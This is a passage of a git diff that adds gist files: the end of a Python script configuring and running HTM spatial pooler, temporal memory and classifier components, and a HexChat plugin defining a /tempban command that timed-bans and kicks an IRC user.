potentialPct = 0.5, + globalInhibition = True, + localAreaDensity = -1.0, + numActiveColumnsPerInhArea = 5.0, + stimulusThreshold = 1.0, + synPermInactiveDec = 0.0005, + synPermActiveInc = 0.0015, + synPermConnected = 0.1, + minPctOverlapDutyCycle = 0.1, + minPctActiveDutyCycle = 0.1, + dutyCyclePeriod = 10, + maxBoost = 10.0, + seed = 42, + spVerbosity = 0 + ) + + tm = TemporalMemory( + columnDimensions = (20,), + cellsPerColumn = (6), + initialPermanence = 0.2, + connectedPermanence = 0.8, + minThreshold = 5, + maxNewSynapseCount = 6, + permanenceDecrement = 0.1, + permanenceIncrement = 0.1, + activationThreshold = 4 + ) + + classifier = CLAClassifier( + steps = [1], + alpha = 0.1, + actValueAlpha = 0.3, + verbosity = 0 + ) + + sp.printParameters() + print "" + + layer = Layer(encoder, sp, tm, classifier) + + firstWeek = 0 + + i = 1 + for x in range(2000): + if i == 1: + tm.reset() + if firstWeek == 0 and layer.getWeeksAnomaly() > 0 and layer.getWeeksAnomaly() < 7.0: + firstWeek = layer.getWeek() + + runThroughLayer(layer, i, x) + i = 1 if i == 7 else i + 1 + + print "firstWeek = " + str(firstWeek) + print "settleWeek = " + str(layer.getSettleWeek()) + \ No newline at end of file diff --git a/hard-gists/10206392/._snippet.py b/hard-gists/10206392/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/10206392/._snippet.py differ diff --git a/hard-gists/10206392/snippet.py b/hard-gists/10206392/snippet.py new file mode 100644 index 00000000..e2bf57aa --- /dev/null +++ b/hard-gists/10206392/snippet.py @@ -0,0 +1,40 @@ +import hexchat +import re + +__module_name__ = "Temp Ban" +__module_version__ = "1.0" +__module_description__ = "Easy command to tempban someone and kick them, requires InspIRCd and the m_timedbans module" + + +def formatTime(timestamp): + multipliers = {"y": "year", "w": "week", "h": "hour", "d": "day", "m": "minute", "s": "second"} + parts = re.findall(r'\d+\D', timestamp) + finalFormat = "" + for part in parts: + split = re.split(r'(\D)', part) + time = split[0] + multiplier = split[1] + finalFormat += time + " " + finalFormat += multipliers[multiplier] + " " if int(time) == 1 else multipliers[multiplier] + "s " + return finalFormat.strip() + +def tempban(word, word_eol, userdata): + if len(word) < 3: + print(userdata) + return hexchat.EAT_ALL + + nick = word[1] + time = word[2] + channel = hexchat.get_info("channel") + users = hexchat.get_list("users") + for user in users: + if user.nick.lower() == nick.lower() and user.host is not None: + host = user.host.split("@")[1] + tbanCommand = "tban {} {} *!*@{}".format(channel, time, host) + hexchat.command(tbanCommand) + reason = word_eol[3] if len(word) > 3 else "Temp banned" + hexchat.command("kick {} TEMPBAN: {} ({})".format(nick, reason, formatTime(time))) + return hexchat.EAT_ALL + hexchat.command("tban {} {} {}".format(channel, time, nick)) + +hexchat.hook_command("tempban", tempban, "Command is /tempban